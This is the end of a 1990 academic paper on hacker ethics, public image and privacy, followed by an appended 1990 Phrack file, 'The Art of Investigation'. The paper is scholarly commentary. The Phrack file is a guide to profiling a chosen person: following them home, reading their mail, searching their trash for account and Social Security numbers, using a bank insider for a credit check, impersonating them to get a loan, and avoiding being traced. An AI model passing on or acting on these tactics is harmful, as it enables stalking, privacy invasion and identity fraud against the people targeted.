Brian Reid, a colleague at Digital who has spoken with many hackers, speculates that a hacker's ethics may come from not being raised properly as a civilized member of society, and not appreciating the rules of living in society. One hacker responded to this with ``What does `being brought up properly' mean? Some would say that it is `good' to keep to yourself, mind your own business. Others might argue that it is healthy to explore, take risks, be curious and discover.'' Brian Harvey (Harvey86) notes that many hackers are adolescents, and that adolescents are at a less advanced stage of moral development than adults, where they might not see how the effects of their actions hurt others. Larry Martin (Martin89) claims that parents, teachers, the press, and others in society are not aware of their responsibility to contribute to instilling ethical values associated with computer use. This could be the consequence of the youth of the computing field; many people are still computer illiterate and cultural norms may be lagging behind advances in technology and the growing dependency on that technology by businesses and society. Hollinger and Lanza‑Kaduce (HollingerLanza‑Kaduce88) speculate that the cultural normative messages about the use and abuse of computer technology have been driven by the adoption of criminal laws in the last decade. They also speculate that hacking may be encouraged during the process of becoming computer literate. Some of my colleagues say that hackers are irresponsible. One hacker responded ``I think it's a strong indication of the amount of responsibility shown that so FEW actually DAMAGING incidents are known.''

But we must not overlook that the differences in ethics also reflect a difference in philosophy about information and information handling resources; whereas hackers advocate sharing, we seem to be advocating ownership as property. The differences also represent an opportunity to examine our own ethical behavior and our practices for information sharing and protection. For example, one hacker wrote ``I will accept that it is morally wrong to copy some proprietary software, however, I think that it is morally wrong to charge $6000 for a program that is only around 25K long.'' Hence, I shall go into a few of the ethical points raised by hackers more closely. It is not a simple case of good or mature (us) against bad or immature (hackers), or of teaching hackers a list of rules.

Many computer professionals such as Martin (Martin89) argue the moral questions by analogy. The analogies are then used to justify their judgment of a hacker's actions as unethical. Breaking into a system is compared with breaking into a house, and downloading information and using computer and telecommunications services is compared with stealing tangible goods. But, say hackers, the situations are not the same. When someone breaks into a house, the objective is to steal goods, which are often irreplaceable, and property is often damaged in the process. By contrast, when a hacker breaks into a system, the objective is to learn and avoid causing damage. Downloaded information is copied, not stolen, and still exists on the original system. Moreover, as noted earlier, information has not been traditionally regarded as property. Dibbel (Dibbel90) says that when the software industries and phone companies claim losses of billions of dollars to piracy, they are not talking about goods that disappear from the shelves and could have been sold.

We often say that breaking into a system implies a lack of caring for the system's owner and authorized users. But, one hacker says that the ease of breaking into a system reveals a lack of caring on the part of the system manager to protect user and company assets, or failure on the part of vendors to warn managers about the vulnerabilities of their systems. He estimated his success rate of getting in at 10‑15%, and that is without spending more than an hour on any one target system. Another hacker says that he sees messages from vendors notifying the managers, but that the managers fail to take action.

Richard Pethia of CERT (Computer Emergency Response Team) reports that they seldom see cases of malicious damage caused by hackers, but that the break‑ins are nevertheless disruptive because system users and administrators want to be sure that nothing was damaged. (CERT suggests that sites reload system software from secure backups and change all user passwords in order to protect against possible back doors and Trojan Horses that might have been planted by the hacker. Pethia also noted that prosecutors are generally called for government sites, and are being called for non‑government sites with increasing frequency.) Pethia says that break‑ins also generate a loss of trust in the computing environment, and may lead to adoption of new policies that are formulated in a panic or management edicts that severely restrict connectivity to outside systems. Brian Harvey says that hackers cause damage by increasing the amount of paranoia, which in turn leads to tighter security controls that diminish the quality of life for the users. Hackers respond to these points by saying they are the scapegoats for systems that are not adequately protected. They say that the paranoia is generated by ill‑founded fears and media distortions (I will return to this point later), and that security need not be oppressive to keep hackers out; it is mainly making sure that passwords and system defaults are well chosen.

Pethia says that some intruders seem to be disruptive to prove a point, such as that the systems are vulnerable, the security personnel are incompetent, or ``it's not nice to say bad things about hackers.'' In the N.Y. Times, John Markoff (Markoff90) wrote that the hacker who claimed to have broken into Cliff Stoll's system said he was upset by Stoll's portrayal of hackers in ``The Cuckoo's Egg'' (Stoll90). Markoff reported that the caller said: ``He (Stoll) was going on about how he hates all hackers, and he gave pretty much of a one‑sided view of who hackers are.''

``The Cuckoo's Egg'' captures many of the popular stereotypes of hackers. Criminologist Jim Thomas criticizes it for presenting a simplified view of the world, one where everything springs from the forces of light (us) or of darkness (hackers) (Thomas90). He claims that Stoll fails to see the similarities between his own activities (e.g., monitoring communications, ``borrowing'' monitors without authorization, shutting off network access without warning, and lying to get information he wants) and those of hackers. He points out Stoll's use of pejorative words such as ``varmint'' to describe hackers, and Stoll's quote of a colleague: ``They're technically skilled but ethically bankrupt programmers without any respect for others' work ‑‑ or privacy. They're not destroying one or two programs. They're trying to wreck the cooperation that builds our networks,'' (Stoll90, p. 159). Thomas writes ``at an intellectual level, it (Stoll's book) provides a persuasive, but simplistic, moral imagery of the nature of right and wrong, and provides what ‑‑ to a lay reader ‑‑ would seem a compelling justification for more statutes and severe penalties against the computer underground. This is troublesome for two reasons. First, it leads to a mentality of social control by law enforcement during a social phase when some would argue we are already over‑controlled. Second, it invokes a punishment model that assumes we can stamp out behaviors to which we object if only we apprehend and convict a sufficient number of violators. ... There is little evidence that punishment will in the long run reduce any given offense, and the research of Gordon Meyer and I suggests that criminalization may, in fact, contribute to the growth of the computer underground.''

6. Public Image and Treatment

Hackers express concern about their negative public image and identity. As noted earlier, hackers are often portrayed as being irresponsible and immoral. One hacker said that ``government propaganda is spreading an image of our being at best, sub‑human, depraved, criminally inclined, morally corrupt, low life. We need to prove that the activities that we are accused of (crashing systems, interfering with life support equipment, robbing banks, and jamming 911 lines) are as morally abhorrent to us as they are to the general public.''

The public identity of an individual or group is generated in part by the actions of the group interacting with the standards of the community observing those actions. What then accounts for the difference between the hacker's public image and what they say about themselves? One explanation may be the different standards. Outside the hacking community, the simple act of breaking into systems is regarded as unethical by many. The use of pejorative words like ``vandal'' and ``varmint'' reflect this discrepency in ethics. Even the word ``criminal'' carries with it connotations of someone evil; hackers say they are not criminal in this sense. Katie Hafner notes that Robert Morris Jr., who was convicted of launching the Internet worm, was likened to a terrorist even though the worm did not destroy data (Hafner90)

Distortions of events and references to potential threats also create an image of persons who are dangerous. Regarding the 911 incident where a hacker downloaded a file from Bell South, Goldstein reported ``Quickly, headlines screamed that hackers had broken into the 911 system and were interfering with emergency telephone calls to the police. One newspaper report said there were no indications that anyone had died or been injured as a result of the intrusions. What a relief. Too bad it wasn't true,'' (Goldstein90). In fact, the hackers involved with the 911 text file had not broken into the 911 system. The dollar losses attributed to hacking incidents also are often highly inflated.

Thomas and Meyer (ThomasMeyer90) say that the rhetoric depicting hackers as a dangerous evil contributes to a ``witch hunt'' mentality, wherein a group is first labeled as dangerous, and then enforcement agents are mobilized to exorcise the alleged social evil. They see the current sweeps against hackers as part of a reaction to a broader fear of change, rather than to the actual crimes committed.

Hackers say they are particularly concerned that computer security professionals and system managers do not appear to understand hackers or be interested in their concerns. Hackers say that system managers treat them like enemies and criminals, rather than as potential helpers in their task of making their systems secure. This may reflect managers' fears about hackers, as well as their responsibilities to protect the information on their systems. Stallman says that the strangers he encounters using his account are more likely to have a chip on their shoulder than in the past; he attributes this to a harsh enforcer mentality adopted by the establishment. He says that network system managers start out with too little trust and a hostile attitude toward strangers that few of the strangers deserve. One hacker said that system managers show a lack of openness to those who want to learn.

Stallman also says that the laws make the hacker scared to communicate with anyone even slightly ``official,'' because that person might try to track the hacker down and have him or her arrested. Drake raised the issue of whether the laws could differentiate between malicious and nonmalicious hacking, in support of a ``kinder, gentler'' relationship between hackers and computer security people. In fact, many states such as California initially passed computer crime laws that excluded malicious hacking; it was only later that these laws were amended to include nonmalicious actions (HollingerLanza‑Kaduce88). Hollinger and Lanza‑Kaduce speculate that these amendments and other new laws were catalyzed mainly by media events, especially the reports on the ``414 hackers'' and the movie ``War Games,'' which created a perception of hacking as extremely dangerous, even if that perception was not based on facts.

Hackers say they want to help system managers make their systems more secure. They would like managers to recognize and use their knowledge about system vulnerabilities. Landreth (Landreth89) suggests ways in which system managers can approach hackers in order to turn them into colleagues, and Goodfellow also suggests befriending hackers (Goodfellow83). John Draper (Cap'n Crunch) says it would help if system managers and the operators of phone companies and switches could cooperate in tracing a hacker without bringing in law enforcement authorities.

Drake suggests giving hackers free access in exchange for helping with security, a suggestion that I also heard from several hackers. Drake says that the current attitude of treating hackers as enemies is not very conducive to a solution, and by belittling them, we only cause ourselves problems.

I asked some of the hackers whether they'd be interested in breaking into systems if the rules of the ``game'' were changed so that instead of being threatened by prosecution, they were invited to leave a ``calling card'' giving their name, phone number, and method of breaking in. In exchange, they would get recognition and points for each vulnerability they discovered. Most were interested in playing; one hacker said he would prefer monetary reward since he was supporting himself. Any system manager interested in trying this out could post a welcome message inviting hackers to leave their cards. This approach could have the advantage of not only letting the hackers contribute to the security of the system, but of allowing the managers to quickly recognize the potentially malicious hackers, since they are unlikely to leave their cards. Perhaps if hackers are given the opportunity to make contributions outside the underground, this will dampen their desire to pursue illegal activities.

Several hackers said that they would like to be able to pursue their activities legally and for income. They like breaking into systems, doing research on computer security, and figuring out how to protect against vulnerabilities. They say they would like to be in a position where they have permission to hack systems. Goodfellow suggests hiring hackers to work on tiger teams that are commissioned to locate vulnerabilities in systems through penetration testing. Baird Info‑Systems Safeguards, Inc., a security consulting firm, reports that they have employed hackers on several assignments (Baird87). They say the hackers did not violate their trust or the trust of their clients, and performed in an outstanding manner. Baird believes that system vulnerabilities can be better identified by employing people who have exploited systems.

One hacker suggested setting up a clearinghouse that would match hackers with companies that could use their expertise, while maintaining anonymity of the hackers and ensuring confidentiality of all records. Another hacker, in describing an incident where he discovered a privileged account without a password, said ``What I (and others) wish for is a way that hackers can give information like this to a responsible source, AND HAVE HACKERS GIVEN CREDIT FOR HELPING! As it is, if someone told them that `I'm a hacker, and I REALLY think you should know...' they would freak out, and run screaming to the SS (Secret Service) or the FBI. Eventually, the person who found it would be caught, and hauled away on some crazy charge. If they could only just ACCEPT that the hacker was trying to help!'' The clearinghouse could also provide this type of service.

Hackers are also interested in security policy issues. Drake expressed concern over how we handle information about computer security vulnerabilities. He argues that it is better to make this information public than cover it up and pretend that it does not exist, and cites the CERT to illustrate how this approach can be workable. Other hackers, however, argue for restricting initial dissemination of flaws to customers and users. Drake also expressed concern about the role of the government, particularly the military, in cryptography. He argues that NSA's opinion on a cryptographic standard should be taken with a large grain of salt because of their code breaking role.

Some security specialists are opposed to hiring hackers for security work, and Eugene Spafford has urged people not to do business with any company that hires a convicted hacker to work in the security area (ACM90). He says that ``This is like having a known arsonist install a fire alarm.'' But, the laws are such that a person can be convicted for having done nothing other than break into a system; no serious damage (i.e., no ``computer arson'') is necessary. Many of our colleagues, including Geoff Goodfellow (Goodfellow83) and Brian Reid (Frenkel87), admit to having broken into systems in the past. Reid is quoted as saying that because of the knowledge he gained breaking into systems as a kid, he was frequently called in to help catch people who break in. Spafford says that times have changed, and that this method of entering the field is no longer socially acceptable, and fails to provide adequate training in computer science and computer engineering (Spafford89). However, from what I have observed, many hackers do have considerable knowledge about telecommunications, data security, operating systems, programming languages, networks, and cryptography. But, I am not challenging a policy to hire competent people of sound character. Rather, I am challenging a strict policy that uses economic pressure to close a field of activity to all persons convicted of breaking into systems. It is enough that a company is responsible for the behavior of its employees. Each hacker can be considered for employment based on his or her own competency and character.

Some people have called for stricter penalties for hackers, including prison terms, in order to send a strong deterrent message to hackers. John Draper, who was incarcerated for his activities in the 1970's, argues that in practice this will only make the problem worse. He told me that he was forced under threat to teach other inmates his knowledge of communications systems. He believes that prison sentences will serve only to spread hacker's knowledge to career criminals. He said he was never approached by criminals outside the prison, but that inside the prison they had control over him.

One hacker said that by clamping down on the hobbyist underground, we will only be left with the criminal underground. He said that without hackers to uncover system vulnerabilities, the holes will be left undiscovered, to be utilized by those likely to cause real damage.

Goldstein argues that the existing penalties are already way out of proportion to the acts committed, and that the reason is because of computers (Goldstein89). He says that if Kevin Mitnick had committed crimes similar to those he committed but without a computer, he would have been classified as a mischief maker and maybe fined $100 for trespassing; instead, he was put in jail without bail (Goldstein89). Craig Neidorf, a publisher and editor of the electronic newsletter ``Phrack,'' faces up to 31 years and a fine of $122,000 for receiving, editing, and transmitting the downloaded text file on the 911 system (Goldstein90). (Since the time I wrote this, a new indictment was issued with penalties of up to 65 years in prison. Neidorf went on trial beginning July 23. The trial ended July 27 when the government dropped all charges. DED)

7. Privacy and the First and Fourth Amendments

The hackers I spoke with advocated privacy protection for sensitive information about individuals. They said they are not interested in invading people's privacy, and that they limited their hacking activities to acquiring information about computer systems or how to break into them. There are, of course, hackers who break into systems such as the TRW credit database. Emanuel Goldstein argues that such invasions of privacy took place before the hacker arrived (Harpers90). Referring to credit reports, government files, motor vehicle records, and the ``megabytes of data piling up about each of us,'' he says that thousands of people legally can see and use this data, much of it erroneous. He claims that the public has been misinformed about the databases, and that hackers have become scapegoats for the holes in the systems. One hacker questioned the practice of storing sensitive personal information on open systems with dial‑up access, the accrual of the information, the methods used to acquire it, and the purposes to which it is put. Another hacker questioned the inclusion of religion and race in credit records. Drake told me that he was concerned about the increasing amount of information about individuals that is stored in large data banks, and the inability of the individual to have much control over the use of that information. He suggests that the individual might be co‑owner of information collected about him or her, with control over the use of that information. He also says that an individual should be free to withhold personal information, of course paying the consequences of doing so (e.g., not getting a drivers license or credit card). In fact, all Federal Government forms are required to contain a Privacy Act Statement that states how the information being collected will be used and, in some cases, giving the option of withholding the information.

Goldstein has also challenged the practices of law enforcement agencies in their attempt to crack down on hackers (Goldstein90). He said that all incoming and outgoing electronic mail used by ``Phrack'' was monitored before the newsletter was shutdown by authorities. ``Had a printed magazine been shut down in this fashion after having all of their mail opened and read, even the most thick‑headed sensationalist media types would have caught on: hey, isn't that a violation of the First Amendment?'' He also cites the shutdown of several bulletin boards as part of Operation Sun Devil, and quotes the administrator of the bulletin board Zygot as saying ``Should I start reading my users' mail to make sure they aren't saying anything naughty? Should I snoop through all the files to make sure everyone is being good? This whole affair is rather chilling.'' The administrator for the public system The Point wrote ``Today, there is no law or precedent which affords me ... the same legal rights that other common carriers have against prosecution should some other party (you) use my property (The Point) for illegal activities. That worries me ...''

About 40 personal computer systems and 23,000 data disks were seized under Operation Sun Devil, a two‑year investigation involving the FBI, Secret Service, and other federal and local law enforcement officials. In addition, the Secret Service acknowledges that its agents, acting as legitimate users, had secretly monitored computer bulletin boards (Markoff90a). Markoff reports that California Representative Don Edwards, industry leader Mitchell Kapor, and civil liberties advocates are alarmed by these government actions, saying that they challenge freedom of speech under the First Amendment and protection against searches and seizures under the Fourth Amendment. Markoff asks: ``Will fear of hackers bring oppression?''

John Barlow writes ``The Secret Service may actually have done a service for those of us who love liberty. They have provided us with a devil. And devils, among their other galvanizing virtues, are just great for clarifying the issues and putting iron in your spine,'' (Barlow90). Some of the questions that Barlow says need to be addressed include ``What are data and what is free speech? How does one treat property which has no physical form and can be infinitely reproduced? Is a computer the same as a printing press?'' Barlow urges those of us who understand the technology to address these questions, lest the answers be given to us by law makers and law enforcers who do not. Barlow and Kapor are constituting a foundation to ``raise and disburse funds for education, lobbying, and litigation in the areas relating to digital speech and the extension of the Constitution into Cyberspace.''

8. Conclusions

Hackers say that it is our social responsibility to share information, and that it is information hoarding and disinformation that are the crimes. This ethic of resource and information sharing contrasts sharply with computer security policies that are based on authorization and ``need to know.'' This discrepancy raises an interesting question: Does the hacker ethic reflect a growing force in society that stands for greater sharing of resources and information ‑‑ a reaffirmation of basic values in our constitution and laws? It is important that we examine the differences between the standards of hackers, systems managers, users, and the public. These differences may represent breakdowns in current practices, and may present new opportunities to design better policies and mechanisms for making computer resources and information more widely available.

The sentiment for greater information sharing is not restricted to hackers. In the best seller, ``Thriving on Chaos,'' Tom Peters (Peters87) writes about sharing within organizations: ``Information hoarding, especially by politically motivated, power‑seeking staffs, has been commonplace throughout American industry, service and manufacturing alike. It will be an impossible millstone around the neck of tomorrow's organizations. Sharing is a must.'' Peters argues that information flow and sharing is fundamental to innovation and competitiveness. On a broader scale, Peter Drucker (Drucker89) says that the ``control of information by government is no longer possible. Indeed, information is now transnational. Like money, it has no `fatherland.' ''

Nor is the sentiment restricted to people outside the computer security field. Harry DeMaio (DeMaio89) says that our natural urge is to share information, and that we are suspicious of organizations and individuals who are secretive. He says that information is exchanged out of ``want to know'' and mutual accommodation rather than ``need to know.'' If this is so, then some of our security policies are out of step with the way people work. Peter Denning (DenningP89) says that information sharing will be widespread in the emerging worldwide networks of computers and that we need to focus on ``immune systems'' that protect against mistakes in our designs and recover from damage.

I began my investigation of hackers with the question, who are they and what is their culture and discourse? My investigation uncovered some of their concerns, which provided the organizational structure to this paper, and several suggestions for new actions that might be taken. My investigation also opened up a broader question: What conflict in society do hackers stand at the battle lines of? Is it owning or restricting information vs. sharing information ‑‑ a tension between an age‑old tradition of controlling information as property and the Englightenment tradition of sharing and disseminating information? Is it controlling access based on ``need to know,'' as determined by the information provider, vs. ``want to know,'' as determined by the person desiring access? Is it law enforcement vs. freedoms granted under the First and Fourth Amendments? The answers to these questions, as well as those raised by Barlow on the nature of information and free speech, are important because they tell us whether our policies and practices serve us as well as they might. The issue is not simply hackers vs. system managers or law enforcers; it is a much larger question about values and practices in an information society.

Acknowledgments

I am deeply grateful to Peter Denning, Frank Drake, Nathan Estey, Katie Hafner, Brian Harvey, Steve Lipner, Teresa Lunt, Larry Martin, Gordon Meyer, Donn Parker, Morgan Schweers, Richard Stallman, and Alex for their comments on earlier versions of this paper and helpful discussions; to Richard Stallman for putting me in contact with hackers; John Draper, Geoff Goodfellow, Brian Reid, Eugene Spafford, Dave, Marcel, Mike, RGB, and the hackers for helpful discussions; and Richard Pethia for a summary of some of his experiences at CERT. The opinions expressed here, however, are my own and do not necessarily represent those of the people mentioned above or of Digital Equipment Corporation.

References

ACM90

``Just say no,'' Comm. ACM, Vol. 33, No. 5, May 1990, p. 477.

Baird87

Bruce J. Baird, Lindsay L. Baird, Jr., and Ronald P. Ranauro, ``The Moral Cracker?,'' Computers and Security, Vol. 6, No. 6, Dec. 1987, p. 471‑478.

Barlow90

John Barlow, ``Crime and Puzzlement,'' June 1990, to appear in Whole Earth Review.

Corley89

Eric Corley, ``The Hacking Fever,'' in Pamela Kane, V.I.R.U.S. Protection, Bantam Books, New York, 1989, p. 67‑72.

DeMaio89

Harry B. DeMaio, ``Information Ethics, a Practical Approach,'' Proc. of the 12th National Computer Security Conference, 1989, p. 630‑633.

DenningP89

Peter J. Denning, ``Worldnet,'' American Scientist, Vol. 77, No. 5, Sept.‑Oct., 1989.

DenningP90

Peter J. Denning, Computers Under Attack, ACM Press, 1990.

Dibbel90

Julian Dibbel, ``Cyber Thrash,'' SPIN, Vol. 5, No. 12, March 1990.

Drucker89

Peter F. Drucker, The New Realities, Harper and Row, New York, 1989.

Felsenstein86

Lee Felsenstein, ``Real Hackers Don't Rob Banks,'' in full report on ACM Panel on Hacking (Lee86).

Frenkel87

Karen A. Frenkel, ``Brian Reid, A Graphics Tale of a Hacker Tracker,'' Comm. ACM, Vol. 30, No. 10, Oct. 1987, p. 820‑823.

Goldstein89

Emmanuel Goldstein, ``Hackers in Jail,'' 2600 Magazine, Vol. 6, No. 1, Spring 1989.

Goldstein90

Emmanuel Goldstein, ``For Your Protection,'' 2600 Magazine, Vol. 7, No. 1, Spring 1990.

Goodfellow83

Geoffrey S. Goodfellow, ``Testimony Before the Subcommittee on Transportation, Aviation, and Materials on the Subject of Telecommunications Security and Privacy,'' Sept. 26, 1983.

Hafner90

Katie Hafner, ``Morris Code,'' The New Republic, Feb. 16, 1990, p. 15‑16.

Harpers90

``Is Computer Hacking a Crime?" Harper's, March 1990, p. 45‑57.

Harvey86

Brian Harvey, ``Computer Hacking and Ethics,'' in full report on ACM Panel on Hacking (Lee86).

HollingerLanza‑Kaduce88

Richard C. Hollinger and Lonn Lanza‑Kaduce, ``The Process of Criminalization: The Case of Computer Crime Laws,'' Criminology, Vol. 26, No. 1, 1988, p. 101‑126.

Huebner89

Hans Huebner, ``Re: News from the KGB/Wiley Hackers,'' RISKS Digest, Vol. 8, Issue 37, 1989.

Landreth89

Bill Landreth, Out of the Inner Circle, Tempus, Redmond, WA, 1989.

Lee86

John A. N. Lee, Gerald Segal, and Rosalie Stier, ``Positive Alternatives: A Report on an ACM Panel on Hacking,'' Comm. ACM, Vol. 29, No. 4, April 1986, p. 297‑299; full report available from ACM Headquarters, New York.

Levy84

Steven Levy, Hackers, Dell, New York, 1984.

Markoff90

John Markoff, ``Self‑Proclaimed `Hacker' Sends Message to Critics,'' The New York Times, March 19, 1990.

Markoff90a

John Markoff, ``Drive to Counter Computer Crime Aims at Invaders,'' The New York Times, June 3, 1990.

Martin89

Larry Martin, ``Unethical `Computer' Behavior: Who is Responsible?,'' Proc. of the 12th National Computer Security Conference, 1989.

Meyer89

Gordon R. Meyer, The Social Organization of the Computer Underground, Master's thesis, Dept. of Sociology, Northern Illinois Univ., Aug. 1989.

MeyerThomas90

Gordon Meyer and Jim Thomas, ``The Baudy World of the Byte Bandit: A Postmodernist Interpretation of the Computer Underground,'' Dept. of Sociology, Northern Illinois Univ., DeKalb, IL, March 1990.

Peters87

Tom Peters, Thriving on Chaos, Harper & Row, New York, Chapter VI, S‑3, p. 610, 1987.

Spafford89

Eugene H. Spafford, ``The Internet Worm, Crisis and Aftermath,'' Comm. ACM, Vol. 32, No. 6, June 1989, p. 678‑687.

Stallman84

Richard M. Stallman, Letter to ACM Forum, Comm. ACM, Vol. 27, No. 1, Jan. 1984, p. 8‑9.

Stallman90

Richard M. Stallman, ``Against User Interface Copyright'' to appear in Comm. ACM.

Steele83

Guy L. Steele, Jr., Donald R. Woods, Raphael A. Finkel, Mark R. Crispin, Richard M. Stallman, and Geoffrey S. Goodfellow, The Hacker's Dictionary, Harper & Row, New York, 1983.

Stoll90

Clifford Stoll, The Cuckoo's Egg, Doubleday, 1990.

Thomas90

Jim Thomas, ``Review of The Cuckoo's Egg,'' Computer Underground Digest, Issue #1.06, April 27, 1990.

ThomasMeyer90

Jim Thomas and Gordon Meyer, ``Joe McCarthy in a Leisure Suit: (Witch)Hunting for the Computer Underground,'' Unpublished manuscript, Department of Sociology, Northern Illinois University, DeKalb, IL, 1990; see also the Computer Underground Digest, Vol. 1, Issue 11, June 16, 1990.

The Art of Investigation

==Phrack Classic==

Volume Three, Issue 32, File #4 of 12

***** T H E A R T O F I N V E S T I G A T I O N *****

*****

*****

***** Brought to You By *****

*****

***** The Butler *****

*****

***** 10/31/90 *****

*****

*****

There are many ways to obtain information about individuals. I am going to cover some of the investigative means of getting the low down on people whom you wish to know more about.

Some of the areas I will cover are:

Social Security Checks

Driving/Vehicular Records

Police Reports

FBI Records

Insurance Records

Legal Records

Credit Bureau Checks

Probate Records

Real Estate Records

Corporate Records

Freedom Of Information Act

Governmental Agency Records

Maps

Tax Records

To obtain information from some organizations or some individuals one must be able to "BULLSHIT"!!! Not only by voice but in writing. Many times you must write certain governmental bodies requesting info and it can only be done in writing. I can't stress enough the need for proper grammer and spelling.

For you to obtain certain information about another person you must first get a few KEY pieces of info to make your investigation easier. The persons Full Name, Social Security Number, Date & Place of Birth will all make your search easier and more complete.

First of all in most cases you will know the persons name you want to investigate. If not you must obtain it any way you can. First you could follow them to their home and get their address. Then some other time when they are gone you could look at their mail or dig through their trash to get their Full Name. While in their trash you might even be able to dig up more interesting info like: Bank Accout Numbers, Credit Card Numbers, Social Security Number, Birth Day, Relatives Names, Long Distance Calls Made, etc.

If you can't get to their trash for some reason take their address to your local library and check it against the POLKS and COLES Directories. This should provide you with their Full Name, Phone Number, Address, and how long they have lived at the current location.

You can also check the Local Phone Book, Directory Assistance, City Directories, Post Office, Voter Registration, Former Neighbors, Former Utilities (water, gas, electric, phone, cable, etc.)

If you know someone who works at a bank or car dealer you could have them run a credit check which will reveal all of their credit cards and if they have ever had any late payments or applied for any loans. If you are brave enough you could even apply for a loan impersonating the individual under investigation

The Credit Bureau also has Sentry Services that can provide deceased social security numbers, postal drop box address and known fraudulent information.

You can get an individuals driving record by sending a letter to your states Department of Revenue, Division of Vehicles. You can also get the following:

Driver Control Bureau

For Driving Record send Name, Address, Date of Birth and usually a $1 processing fee for a 5 year record.

Titles & Registration Bureau

For ownership information (current and past).

Driver License Examination Bureau

To see what vision was rated.

Motor Carrier Inspection & Registration Bureau

To check on licensing and registration of trucks/trucking companies.

Revocation Dept

Can verify if someone's driver's license has ever been suspended or revoked.

You can even obtain a complete vehicle history by sending the vehicle description, identification # for the last registered owner, and a small fee. Send this info to your states Dept of Vehicles. It is best to contact them first to get their exact address and fees. I would advise using a money orders and a P.O. Box so they cannot trace it to you without a hassle.

Police Records

All Police and Fire Records are Public record unless the city is involved. You can usually get everything available from the police dept including: Interviews, maps, diagrams, misc reports, etc.

FBI Records

If the individual you are inquiring about is deceased the FBI will provide some info if you give them Full Name, SSN, Date & Place of Birth. Contact you local FBI office to get the details.

Real Estate Records

Recorder of Deeds offices in each county maintain land ownership records. Most are not computerized and you have to manually search. Then you must review microfilm/fiche for actual deeds of trust, quit claim deeds, assignments, mortgage, liens, etc.

A title company can run an Ownership & Equity (O&E) search for a fee ($80‑$100) which will show ownership, mortgage info, easements, taxes owned, taxes assessed, etc.

Most county assessors will provide an address and value of any real property if you request a search by name.

Social Security Records

Social Security Administrator

Office of Central Records Operations

300 North Greene Street

Baltimore, Maryland 21201

301‑965‑8882

Title II and Title XVI disability claims records, info regarding total earnings for each year, detailed earnings information show employer, total earnings, and social security paid for each quarter by employer.

Prices are approximately as follows:

1st year of records $15.00

2nd‑5th year of records $ 2.50 per person 6th‑10th year of records $ 2.00 per person 11th‑15th year of records $ 1.50 per person 16th‑on year of records $ 1.00 per person

** Call for verification of these prices. **

Social Security records are a great source of information when someone has been relatively transient in their work, or if they are employed out of a union hall.

If you want to review a claim file, direct your request to the Baltimore office. They will send the file to the social security office in your city for you to review and decide what you want copies of.

The first three digits of a social security number indicate the state of application.

The Social Security Number

SSA has continually emphasized the fact that the SSN identifies a particular record only and the Social Security Card indicates the person whose record is identified by that number. In no way can the Social Security Card identify the bearer. From 1946 to 1972 the legend "Not for Identification" was printed on the face of the card. However, many people ignored the message and the legend was eventually dropped. The social security number is the most widely used and carefully controlled number in the country, which makes it an attractive identifier.

With the exception of the restrictions imposed on Federal and some State and local organizations by the Privacy Act of 1974, organizations requiring a unique identifier for purposes of controlling their records are not prohibited from using (with the consent of the holder) the SSN. SSA records are confidential and knowledge of a person's SSN does not give the user access to information in SSA files which is confidential by law.

Many commercial enterprises have used the SSN in various promotional efforts. These uses are not authorized by SSA, but SSA has no authority to prohibit such activities as most are not illegal. Some of these unauthorized uses are: SSN contests; skip‑tracers; sale or distribution of plastic or metal cards; pocketbook numbers (the numbers used on sample social security cards in wallets); misleading advertising, commercial enterprises charging fees for SSN services; identification of personal property.

The Social Security Number (SSN) is composed of 3 parts, XXX‑XX‑XXXX, called the Area, Group, and Serial. For the most part, (there are exceptions), the Area is determined by where the individual APPLIED for the SSN (before 1972) or RESIDED at time of application (after 1972). The areas are assigned as follows:

000 unused 387‑399 WI 528‑529 UT

001‑003 NH 400‑407 KY 530 NV

004‑007 ME 408‑415 TN 531‑539 WA

008‑009 VT 416‑424 AL 540‑544 OR

010‑034 MA 425‑428 MS 545‑573 CA

035‑039 RI 429‑432 AR 574 AK

040‑049 CT 433‑439 LA 575‑576 HI

050‑134 NY 440‑448 OK 577‑579 DC

135‑158 NJ 449‑467 TX 580 VI Virgin Islands

159‑211 PA 468‑477 MN 581‑584 PR Puerto Rico

212‑220 MD 478‑485 IA 585 NM

221‑222 DE 486‑500 MO 586 PI Pacific Islands*

223‑231 VA 501‑502 ND 587‑588 MS

232‑236 WV 503‑504 SD 589‑595 FL

237‑246 NC 505‑508 NE 596‑599 PR Puerto Rico

247‑251 SC 509‑515 KS 600‑601 AZ

252‑260 GA 516‑517 MT 602‑626 CA

261‑267 FL 518‑519 ID *Guam, American Samoa,

268‑302 OH 520 WY Northern Mariana Islands,

303‑317 IN 521‑524 CO Philippine Islands

318‑361 IL 525 NM

362‑386 MI 526‑527 AZ

627‑699 unassigned, for future use

700‑728 Railroad workers through 1963, then discontinued

729‑899 unassigned, for future use

900‑999 not valid SSNs, but were used for program purposes when state aid to the aged, blind and disabled was converted to a federal program administered by SSA.

As the Areas assigned to a locality are exhausted, new areas from the pool are assigned. This is why some states have non‑contiguous groups of Areas.

The Group portion of the SSN has no meaning other than to determine whether or not a number has been assigned. SSA publishes a list every month of the highest group assigned for each SSN Area. The order of assignment for the Groups is: odd numbers under 10, even numbers over 9, even numbers under 9 except for 00 which is never used, and odd numbers over 10. For example, if the highest group assigned for area 999 is 72, then we know that the number 999‑04‑1234 is an invalid number because even Groups under 9 have not yet been assigned.

The Serial portion of the SSN has no meaning. The Serial is not assigned in strictly numerical order. The Serial 0000 is never assigned.

Before 1973, Social Security Cards with pre‑printed numbers were issued to each local SSA office. The numbers were assigned by the local office. In 1973, SSN assignment was automated and outstanding stocks of pre‑printed cards were destroyed. All SSNs are now assigned by computer from headquarters. There are rare cases in which the computer system can be forced to accept a manual assignment such as a person refusing a number with 666 in it.

A pamphlet entitled "The Social Security Number" (Pub. No.05‑10633) provides an explanation of the SSN's structure and the method of assigning and validating Social Security numbers.

Tax Records

If you can find out who does the individuals taxes you might be able to get copies from them with the use of creative social engineering.

If you want to run a tax lien search there is a service called Infoquest. 1‑800‑777‑8567 for a fee. Call with a specific request.

Post Office Records

If you have an address for someone that is not current, always consider writing a letter to the postmaster of whatever post office branch services the zip code of the missing person. Provide them the name and the last known address and simply ask for the current address. There might be a $1 fee for this so it would be wise to call first.

City Directory, Polk's, Cole's, etc.

Information in these directories is contained alphabetically by name, geographically by street address, and numerically by telephone number, so if you have any of those three pieces of info, a check can be done. The Polk's directory also shows whether the person owns their home or rents, their marital status, place of employment, and a myriad of other tidbits of information. However, these books are not the be‑all and end‑all of the information as they are subject to public and corporate response to surveys. These directories are published on a nationwide basis so if you are looking for someone outside of your area, simply call the public library in the area you have an interest and they also can perform a crisscross check for you.

